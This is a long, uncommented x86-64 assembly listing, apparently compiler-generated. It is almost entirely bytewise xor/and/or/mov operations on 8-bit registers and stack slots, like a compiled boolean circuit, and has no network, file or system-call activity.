xor r11b, 1
mov eax, edx
and al, r11b
mov ebx, r11d
and bl, al
mov ecx, r11d
xor cl, al
or cl, bl
mov esi, ecx
xor sil, 1
mov ebx, ecx
and bl, sil
xor bl, 1
mov r9d, ebx
xor r9b, sil
or bl, sil
xor bl, 1
or bl, r9b
or sil, cl
xor sil, 1
mov ecx, ebx
and cl, sil
xor sil, bl
or sil, cl
mov ecx, esi
xor cl, 1
and sil, cl
mov ebx, ecx
and bl, sil
xor sil, cl
or sil, bl
mov r9d, esi
xor r9b, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
xor al, r11b
or cl, dl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
and bl, cl
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov edx, ebx
xor dl, 1
mov r11d, edx
and r11b, bl
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov eax, esi
or al, r9b
mov ecx, r9d
and cl, al
xor al, 1
xor dl, bl
and dl, bl
mov ebx, eax
xor bl, sil
and bl, al
and al, sil
or al, cl
mov ecx, ebx
xor cl, 1
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov edi, edx
xor dil, 1
mov ecx, edx
and cl, dil
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov ebx, r11d
xor bl, 1
mov ebp, r11d
or bpl, bl
mov r14d, ecx
and r14b, bpl
xor dil, bpl
xor bpl, 1
xor cl, 1
and cl, bpl
or cl, r14b
or dl, bpl
xor dl, 1
or dl, dil
xor dl, 1
mov edi, ecx
and dil, dl
xor dl, cl
or dl, dil
mov ecx, eax
xor cl, 1
and al, cl
mov edi, ecx
and dil, al
xor al, cl
mov ecx, edx
xor cl, 1
and dl, cl
or al, dil
mov edi, ecx
and dil, dl
xor dl, cl
or dl, dil
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
and r11b, r9b
or r9b, bl
xor r9b, 1
and bl, sil
or bl, r11b
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
xor bl, 1
xor dl, 1
mov eax, edx
or al, bl
xor dl, bl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov ecx, eax
xor cl, 1
mov r9d, edx
xor r9b, cl
or cl, dl
xor cl, 1
or cl, r9b
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, dl
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
mov edx, r9d
and dl, cl
mov eax, r9d
xor al, dl
xor dl, 1
mov r11d, ecx
or r11b, dl
xor r11b, 1
or al, r11b
mov ebx, eax
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
xor dl, cl
or dl, r11b
xor dl, bl
xor bl, r9b
or al, cl
xor al, 1
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
or al, cl
xor al, cl
and cl, al
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov byte [rsp + 0x38], dl
mov edx, r10d
xor dl, 1
mov ecx, edx
and cl, r10b
mov r9d, edx
xor r9b, r10b
mov edi, r10d
or dil, dl
mov r12d, edx
xor r12b, dil
mov eax, r12d
xor al, 1
and r12b, dl
mov ebx, r12d
and bl, al
xor al, r12b
or al, bl
mov ebx, edx
and bl, cl
xor cl, dl
mov esi, edx
mov byte [rsp + 0x3f], dl
or cl, bl
mov byte [rsp + 0x50], cl
mov ecx, edi
xor cl, 1
mov edx, r9d
or dl, cl
mov ebp, ecx
mov byte [rsp + 0x4b], cl
mov ebx, edx
xor bl, 1
and dl, bl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ebx, eax
xor bl, 1
mov ecx, ebx
xor cl, dl
xor cl, 1
or bl, cl
and cl, dl
xor dl, al
and dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor bl, 1
xor dl, bl
mov ecx, edx
xor cl, 1
and cl, bl
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
mov r11d, ecx
or r11b, dl
mov eax, r11d
xor al, 1
and al, cl
or cl, r11b
and r11b, dl
or r11b, al
mov eax, ecx
xor al, r11b
xor r11b, 1
or r11b, cl
xor al, 1
xor r11b, 1
or r11b, al
and r9b, r10b
mov eax, r9d
xor al, 1
mov edx, r9d
and dl, al
mov ecx, eax
mov eax, edx
and al, r9b
xor dl, r9b
or dl, al
mov byte [rsp + 0x4f], dl
and dl, dil
mov byte [rsp + 0x4e], dl
mov eax, edi
and al, cl
mov byte [rsp + 0x4c], al
xor cl, dil
mov byte [rsp + 0x4d], cl
and dil, sil
and r10b, bpl
or r10b, dil
mov eax, r12d
xor al, 1
xor r12b, r10b
xor r10b, 1
mov byte [rsp + 0x33], r10b
or al, r10b
xor al, 1
or al, r12b
mov ecx, eax
xor cl, 1
or cl, r11b
xor r11b, 1
mov edx, r11d
xor dl, al
mov ebx, edx
xor bl, r11b
and bl, dl
or r11b, al
mov eax, ecx
xor al, r11b
or r11b, cl
xor r11b, 1
or r11b, al
xor r11b, bl
mov eax, r11d
xor al, 1
and bl, al
mov edx, ebx
xor bl, r11b
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
or cl, dl
mov ebx, eax
xor bl, cl
and bl, al
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
and dl, al
or cl, dl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov byte [rsp + 0x4a], cl
movzx ebx, byte [rsp + 0x58]
mov eax, ebx
movzx edx, byte [rsp + 0x32]
or al, dl
xor al, 1
mov ecx, edx
xor cl, bl
or al, cl
and dl, cl
and cl, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r10d, eax
xor r10b, 1
mov ebx, eax
and bl, r10b
mov r9d, eax
and r9b, bl
xor bl, al
or bl, r9b
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
mov r9d, edx
and r9b, al
xor al, dl
or al, r9b
mov edx, ebx
xor dl, 1
and dl, al
xor al, 1
and al, bl
or al, dl
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ecx
xor r9b, 1
mov eax, ecx
or al, r9b
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor dl, 1
mov r10d, edx
xor r10b, al
or dl, al
xor dl, 1
or dl, r10b
xor al, cl
xor dl, r9b
or bl, r9b
xor bl, 1
or bl, al
xor dl, 1
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov r11d, ebx
xor r11b, 1
mov eax, r11d
and al, bl
mov ecx, r11d
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
or r11b, bl
mov r10d, eax
xor r10b, 1
mov ecx, r11d
xor cl, 1
mov ebx, r10d
or bl, r11b
and cl, r10b
and r11b, al
or r11b, cl
xor bl, 1
mov ecx, ebx
and cl, r11b
xor r11b, bl
or r11b, cl
mov ecx, r11d
xor cl, 1
mov edi, ecx
and dil, r11b
mov r9d, edi
xor r9b, 1
mov edx, r11d
xor dl, r9b
or r9b, r11b
xor r9b, 1
or dl, r9b
mov esi, edx
xor sil, cl
xor dl, sil
xor dl, 1
and dl, sil
or al, r10b
mov esi, r10d
xor sil, al
or al, r10b
xor al, 1
or al, sil
mov r10d, eax
xor r10b, 1
mov ebx, edx
xor bl, 1
and al, bl
and dl, r10b
or dl, al
mov esi, edx
xor sil, bl
and sil, dl
mov edx, r10d
xor dl, bl
xor dl, 1
and dl, r10b
or bl, r10b
mov eax, edx
xor al, bl
xor dl, 1
or dl, bl
xor al, 1
xor dl, 1
or dl, al
mov eax, esi
xor al, dl
or dl, sil
xor dl, 1
or dl, al
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov ebx, edx
xor bl, 1
mov r10d, edx
or r10b, bl
xor bl, dl
and bl, dl
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov esi, edx
and sil, al
xor al, dl
or al, sil
mov edx, eax
xor al, 1
and al, r10b
xor r10b, 1
and dl, r10b
or al, dl
mov edx, r10d
xor dl, bl
or bl, r10b
xor bl, 1
or bl, dl
mov edx, eax
xor dl, bl
xor al, 1
or al, bl
xor dl, 1
xor al, 1
or al, dl
xor dil, cl
or dil, r9b
or cl, r11b
mov edx, edi
xor dl, 1
mov r9d, edi
and r9b, dl
mov ebx, r9d
xor bl, 1
xor r9b, dil
or bl, dl
xor bl, 1
or bl, r9b
xor cl, 1
xor bl, cl
mov r9d, edi
xor r9b, cl
or cl, dil
xor cl, 1
or cl, r9b
mov r9d, ebx
xor r9b, 1
xor bl, cl
or cl, r9b
xor bl, 1
xor cl, 1
or cl, bl
or dl, dil
xor dl, 1
mov ebx, edi
and bl, dl
xor dl, dil
or dl, bl
mov r9d, edx
xor r9b, 1
mov ebx, r9d
and bl, dl
xor r9b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r9b
mov edx, ebx
xor dl, 1
mov r9d, ecx
xor r9b, dl
and r9b, cl
and dl, cl
xor cl, 1
and bl, cl
or dl, bl
mov ecx, r9d
and cl, dl
xor dl, r9b
or dl, cl
mov ecx, edx
xor cl, 1
or cl, dl
mov ebx, edx
or bl, cl
xor cl, dl
xor bl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
mov r11d, edx
and r11b, cl
mov r9d, edx
and r9b, r11b
xor r11b, dl
or r11b, r9b
or dl, cl
mov r9d, eax
xor r9b, 1
mov esi, eax
and sil, r9b
mov r10d, esi
and r10b, r9b
xor sil, r9b
or sil, r10b
mov ebx, r11d
xor bl, 1
mov r10d, edx
xor r10b, 1
mov ecx, r11d
xor cl, dl
and r10b, bl
and dl, r11b
or dl, r10b
and cl, r11b
xor cl, 1
xor dl, 1
mov r10d, ecx
xor r10b, dl
or dl, cl
xor dl, 1
or dl, r10b
mov ecx, esi
xor cl, dl
and dl, cl
and cl, sil
xor dl, 1
xor cl, 1
mov r10d, edx
xor r10b, cl
or cl, dl
xor cl, 1
or cl, r10b
and r11b, al
or al, bl
and bl, r9b
or bl, r11b
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
xor bl, cl
and cl, bl
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
and al, bl
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov ebx, eax
xor bl, 1
mov r9d, ebx
xor r9b, al
or bl, al
xor bl, 1
or bl, r9b
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, ebx
xor cl, dl
and al, dl
xor al, 1
mov r9d, edx
xor r9b, al
or al, dl
xor al, 1
or al, r9b
mov edx, ebx
xor dl, 1
xor cl, 1
or cl, bl
and dl, al
xor al, 1
and al, bl
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
or dl, al
mov eax, ebx
xor al, 1
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
or al, dl
mov ecx, edx
or cl, al
xor al, dl
xor cl, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
or al, cl
xor al, 1
xor cl, al
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, edx
xor bl, 1
mov r9d, ebx
xor r9b, cl
or bl, cl
xor bl, 1
or bl, r9b
mov r9d, ecx
and r9b, dl
xor dl, cl
or dl, r9b
xor dl, 1
mov r9d, edx
xor r9b, cl
or dl, cl
or cl, al
mov r10d, ebx
and bl, cl
xor cl, 1
xor r10b, 1
and r10b, cl
or bl, r10b
mov r10d, eax
xor r10b, cl
or cl, al
xor cl, 1
or cl, r10b
xor bl, 1
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
xor dl, 1
or dl, r9b
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
or dl, al
xor dl, al
and al, dl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
or dl, al
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov byte [rsp + 0x58], dl
mov ebp, r8d
xor bpl, 1
mov r11d, r8d
and r11b, bpl
mov edx, r8d
xor dl, r11b
xor r11b, 1
mov r13d, ebp
or r13b, r11b
xor r13b, 1
or dl, r13b
mov r9d, r8d
or r9b, bpl
mov r10d, r9d
xor r10b, 1
mov esi, r9d
and sil, dl
xor dl, 1
mov ecx, edx
and cl, r10b
or cl, sil
mov esi, edx
and sil, r9b
xor dl, r9b
or dl, sil
mov esi, ecx
xor sil, dl
xor cl, 1
or cl, dl
xor sil, 1
xor cl, 1
or cl, sil
mov edx, ecx
xor dl, 1
mov esi, edx
and sil, cl
mov r15d, esi
and r15b, dl
xor sil, dl
or sil, r15b
or dl, cl
xor dl, 1
mov ecx, esi
and cl, dl
xor dl, sil
or dl, cl
xor r8b, bpl
or r8b, r10b
mov r10d, edx
xor r10b, 1
mov r15d, r8d
xor r15b, 1
mov esi, edx
xor sil, r8b
or r8b, r10b
or r10b, r15b
xor r10b, 1
or r10b, sil
or r15b, dl
xor r8b, 1
xor r15b, 1
mov edx, r8d
and dl, r15b
xor r15b, r8b
or r15b, dl
mov r8d, r10d
xor r8b, 1
mov edx, r8d
and dl, r10b
mov esi, edx
and sil, r8b
xor dl, r8b
or dl, sil
mov ecx, r15d
xor cl, 1
mov r8d, r15d
and r8b, cl
mov esi, r8d
and sil, r15b
xor r8b, r15b
or r8b, sil
xor r8b, dl
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
xor r8b, 1
mov edx, r8d
xor dl, cl
or cl, r8b
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
mov edx, r8d
and dl, cl
mov r10d, r8d
and r10b, dl
xor dl, r8b
or dl, r10b
mov r14d, edx
xor r14b, 1
or r14b, dl
xor r14b, 1
xor cl, r14b
xor cl, 1
and r14b, cl
xor r14b, 1
mov edx, r14d
xor dl, cl
or r14b, cl
xor r14b, 1
or r14b, dl
movzx eax, byte [rsp + 0x38]
mov ebx, eax
xor bl, 1
mov ecx, ebx
or cl, al
mov esi, ecx
xor sil, 1
and cl, sil
mov r8d, ecx
and r8b, sil
xor cl, sil
or cl, r8b
mov r8d, ecx
and r8b, al
xor cl, 1
and cl, bl
or cl, r8b
mov edx, ebx
or dl, sil
xor dl, 1
mov r15d, ebx
xor r15b, sil
or dl, r15b
xor dl, 1
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, 1
and dl, cl
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
xor dl, 1
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
and sil, bl
or sil, r15b
mov r8d, edx
xor r8b, 1
mov ecx, esi
xor cl, 1
and sil, dl
and r8b, cl
or r8b, sil
mov esi, r8d
xor sil, dl
and sil, r8b
mov r8d, ecx
xor r8b, dl
xor r8b, 1
and r8b, cl
or cl, dl
xor cl, 1
mov edx, r8d
and dl, cl
xor cl, r8b
or cl, dl
mov edx, esi
xor dl, 1
and dl, sil
xor dl, 1
mov r8d, esi
xor r8b, dl
or dl, sil
xor dl, 1
or dl, r8b
xor dl, cl
mov r8d, esi
xor r8b, cl
or cl, sil
xor cl, 1
or cl, r8b
xor dl, 1
xor cl, 1
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov edi, ecx
xor dil, 1
or dil, cl
mov edx, ecx
or dl, dil
xor dil, cl
xor dl, 1
mov ecx, edx
and cl, dil
xor dil, dl
or dil, cl
mov r12d, r14d
xor r12b, 1
mov ecx, r14d
and cl, r12b
mov edx, r14d
xor dl, cl
xor cl, 1
or cl, r12b
xor cl, 1
or cl, dl
mov r15d, r12d
or r15b, r14b
mov edx, r15d
xor dl, 1
mov eax, ecx
xor al, 1
and al, r15b
and cl, dl
or cl, al
xor r15b, r14b
or dl, r12b
xor dl, 1
or dl, r15b
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov r15d, ecx
xor r15b, 1
mov r8d, ecx
or r8b, r15b
mov edx, r8d
xor dl, 1
mov eax, r8d
and al, dl
mov r10d, r8d
and r10b, al
xor al, r8b
or al, r10b
mov r8d, eax
xor r8b, 1
and r8b, r15b
and al, cl
or al, r8b
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
mov ecx, eax
xor cl, dl
xor al, 1
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov r10d, ecx
xor r10b, 1
mov eax, r10d
and al, cl
mov r8d, r10d
and r8b, al
xor al, r10b
or al, r8b
or r10b, cl
xor al, 1
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov eax, ebp
xor al, r9b
mov ecx, eax
xor cl, 1
and r9b, bpl
or r9b, al
xor al, r9b
or r9b, cl
xor al, 1
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
and r9b, al
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
xor r11b, bpl
or r11b, r13b
mov eax, r9d
xor al, 1
mov ecx, eax
and cl, r9b
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov edx, r11d
xor dl, 1
mov eax, edx
and al, r11b
xor dl, al
xor al, 1
or al, r11b
xor al, 1
or al, dl
xor al, cl
mov ecx, r9d
xor cl, r11b
or r11b, r9b
xor r11b, 1
or r11b, cl
xor al, 1
mov ecx, eax
xor cl, r11b
or al, r11b
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov ebp, edx
and bpl, al
xor dl, bpl
xor bpl, 1
or bpl, al
xor bpl, 1
or bpl, dl
mov r8d, edi
xor r8b, 1
mov byte [rsp + 0x32], r8b
mov eax, r8d
and al, dil
mov ecx, r8d
and cl, al
xor r8b, al
or cl, r8b
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov r11d, ecx
xor r11b, dl
or dl, cl
xor dl, 1
or dl, r11b
xor al, 1
or al, dil
xor al, 1
or al, r8b
xor dl, 1
xor al, dl
mov ecx, eax
xor cl, 1
and dl, cl
mov r11d, edx
xor dl, al
xor r11b, 1
or r11b, cl
xor r11b, 1
or r11b, dl
movzx edx, byte [rsp + 0x38]
mov eax, edx
and al, bl
mov ecx, eax
xor al, bl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r8d, ecx
xor r8b, 1
mov ebx, ecx
and bl, r8b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov edx, ebx
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and r8b, dl
or dl, cl
and cl, al
or cl, r8b
xor cl, 1
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r15d, eax
xor r15b, 1
mov edx, eax
or dl, r15b
mov r8d, edx
xor r8b, 1
mov ecx, r8d
and cl, dl
mov ebx, ecx
xor cl, r8b
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, al
and bl, r15b
or bl, cl
mov eax, edx
and al, r15b
xor dl, r15b
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov r15d, edx
xor r15b, 1
and r15b, dl
xor r15b, 1
mov eax, edx
xor al, r15b
or r15b, dl
xor r15b, 1
or r15b, al
mov ebx, r10d
xor bl, bpl
mov eax, ebx
xor al, r10b
mov r13d, ebp
or bpl, r10b
xor al, 1
and al, bl
xor bl, 1
and bl, r10b
xor bl, 1
mov edx, ebp
xor dl, bl
or bl, bpl
xor bl, 1
or bl, dl
xor bl, 1
mov edx, ebx
xor dl, r10b
xor bl, dl
and bl, dl
xor r13b, 1
mov edx, r13d
and dl, r10b
xor r13b, r10b
or r13b, dl
mov edx, r13d
xor dl, 1
and dl, r13b
mov r8d, r13d
and r8b, dl
xor dl, r13b
or dl, r8b
mov ecx, eax
xor cl, 1
and al, cl
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov r8d, edx
xor r8b, 1
and r8b, al
xor al, 1
and al, dl
or al, r8b
mov edx, r13d
and dl, cl
xor cl, r13b
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov esi, ebx
xor sil, 1
mov ecx, esi
or cl, bl
mov edx, ecx
xor dl, bl
or cl, sil
xor cl, 1
xor dl, 1
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
mov ebp, eax
xor bpl, 1
mov r8d, ebp
or r8b, al
mov r10d, r8d
xor r10b, 1
and r10b, r8b
mov r13d, r8d
and r13b, r10b
xor r10b, r8b
or r10b, r13b
mov r13d, eax
xor r13b, bpl
and r13b, al
mov ecx, r13d
xor cl, 1
and r13b, cl
mov r9d, ecx
and r9b, r13b
xor r13b, cl
or r13b, r9b
xor r13b, r10b
mov r9d, r8d
and r9b, cl
xor cl, r8b
or cl, r9b
mov r8d, r13d
xor r8b, 1
xor r13b, cl
or cl, r8b
xor r13b, 1
xor cl, 1
or cl, r13b
mov r8d, ecx
xor r8b, 1
or r8b, dl
xor dl, 1
or dl, cl
mov ecx, r8d
xor cl, dl
or dl, r8b
xor dl, 1
or dl, cl
and al, bpl
xor al, 1
mov ecx, ebp
xor cl, al
or al, bpl
xor al, 1
or al, cl
xor al, bl
mov ecx, esi
xor cl, bpl
or bpl, sil
xor bpl, 1
or bpl, cl
mov ecx, eax
xor cl, bpl
xor al, 1
or al, bpl
xor cl, 1
xor al, 1
or al, cl
mov r10d, eax
xor r10b, 1
and al, r10b
xor al, 1
mov ebx, r10d
xor bl, al
or al, r10b
xor al, 1
or al, bl
mov ebx, eax
and bl, dl
mov r8d, edx
xor r8b, r10b
or r10b, dl
xor dl, 1
xor al, 1
and al, dl
or al, bl
xor r10b, 1
or r10b, r8b
xor r10b, 1
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov edx, r11d
xor dl, 1
mov eax, edx
xor al, r15b
mov r8d, r15d
or r8b, dl
xor al, 1
and al, dl
mov ebx, r8d
xor bl, al
xor al, 1
or al, r8b
xor bl, 1
xor al, 1
or al, bl
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov ebx, r15d
xor bl, 1
and r11b, r15b
and r15b, bl
mov r8d, ebx
and r8b, r15b
xor r15b, bl
or r15b, r8b
mov r8d, edx
xor r8b, r15b
or r15b, dl
and dl, bl
or r11b, dl
xor r11b, 1
or r11b, bl
xor r15b, 1
or r15b, r8b
xor r11b, 1
xor r15b, r11b
and r11b, r15b
xor r11b, 1
mov edx, r11d
xor dl, r15b
or r11b, r15b
xor r11b, 1
or r11b, dl
mov r9d, r11d
xor r9b, 1
mov edx, r9d
and dl, r11b
mov r8d, r9d
xor r8b, dl
xor dl, 1
or dl, r11b
xor dl, 1
or dl, r8b
mov r8d, eax
xor r8b, 1
mov ecx, edx
xor cl, 1
mov ebx, eax
or bl, r8b
mov esi, ebx
xor sil, 1
or dl, cl
mov ebp, eax
xor bpl, cl
xor cl, r8b
and r8b, bl
and sil, al
or sil, r8b
or bl, al
xor bl, 1
mov r8d, ebx
and r8b, sil
xor sil, bl
or sil, r8b
and r11b, dl
xor dl, 1
mov ebx, edx
xor bl, r9b
and bl, dl
and dl, r9b
or dl, r11b
xor bl, 1
xor dl, 1
mov r8d, ebx
xor r8b, dl
or dl, bl
xor dl, 1
or dl, r8b
mov ebx, esi
xor bl, dl
and dl, bl
and bl, sil
xor dl, 1
xor bl, 1
mov r8d, edx
xor r8b, bl
or bl, dl
xor bl, 1
or bl, r8b
and bpl, al
mov eax, ebp
xor al, 1
xor bpl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bpl
xor cl, bl
and bl, cl
mov eax, ebx
xor al, cl
xor bl, 1
or bl, cl
xor al, 1
xor bl, 1
or bl, al
mov eax, r10d
xor al, 1
mov r8d, r10d
or r8b, al
mov edx, r8d
xor dl, 1
mov r9d, edx
and r9b, r8b
mov r11d, r9d
xor r11b, 1
or r11b, r8b
xor r9b, dl
xor r11b, 1
or r11b, r9b
mov ecx, eax
and cl, r10b
xor al, cl
xor cl, 1
mov r8d, r10d
or r8b, cl
xor r8b, 1
or al, r8b
xor r11b, al
mov r9d, eax
xor r9b, dl
or dl, al
xor dl, 1
or dl, r9b
xor r11b, 1
mov eax, r11d
xor al, dl
or r11b, dl
xor r11b, 1
or r11b, al
xor cl, r10b
or cl, r8b
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov r8d, eax
xor r8b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
xor dl, 1
xor cl, dl
or dl, al
xor cl, 1
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
or cl, bl
mov r9d, edx
xor r9b, 1
mov r8d, ecx
xor r8b, 1
mov ebx, edx
xor bl, cl
and r8b, r9b
and cl, dl
or cl, r8b
and bl, dl
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, r9d
and bl, dl
mov r8d, r9d
and r8b, bl
xor bl, r9b
or bl, r8b
mov r8d, ebx
xor bl, dl
xor r8b, 1
or r8b, r9b
xor r8b, 1
or r8b, bl
mov r10d, r11d
xor r10b, 1
mov r9d, eax
xor r9b, 1
mov ebp, r10d
xor bpl, al
mov esi, eax
and sil, r9b
mov ebx, esi
xor sil, al
xor bl, 1
or bl, r9b
xor bl, 1
or bl, sil
xor bpl, 1
or bpl, r10b
and r10b, bl
xor bl, 1
and bl, r11b
or bl, r10b
mov eax, ebx
xor al, 1
mov r9d, ebx
and r9b, al
mov edx, r9d
xor r9b, bl
xor dl, 1
or dl, al
xor dl, 1
or dl, r9b
mov r9d, edx
and r9b, bpl
mov ebx, ebp
and bl, al
xor al, bpl
xor bpl, 1
xor dl, 1
and dl, bpl
or dl, r9b
or al, bl
mov ebx, edx
xor bl, al
xor dl, 1
or dl, al
xor bl, 1
xor dl, 1
or dl, bl
mov ebx, ecx
xor bl, 1
and cl, bl
mov r9d, ebx
and r9b, cl
xor cl, bl
mov eax, ebx
and bl, r8b
xor al, r8b
or al, bl
or cl, r9b
xor cl, r8b
xor al, 1
xor cl, al
mov r8d, ecx
xor r8b, 1
and al, r8b
mov ebx, eax
xor al, cl
xor bl, 1
or bl, r8b
xor bl, 1
or bl, al
mov r8d, edx
xor r8b, 1
mov ecx, edx
xor cl, r8b
or r8b, dl
and cl, dl
mov edx, ebx
xor dl, 1
mov eax, ebx
xor al, dl
and dl, bl
xor dl, 1
mov r9d, ebx
xor r9b, dl
or dl, bl
xor dl, 1
or dl, r9b
mov r9d, edx
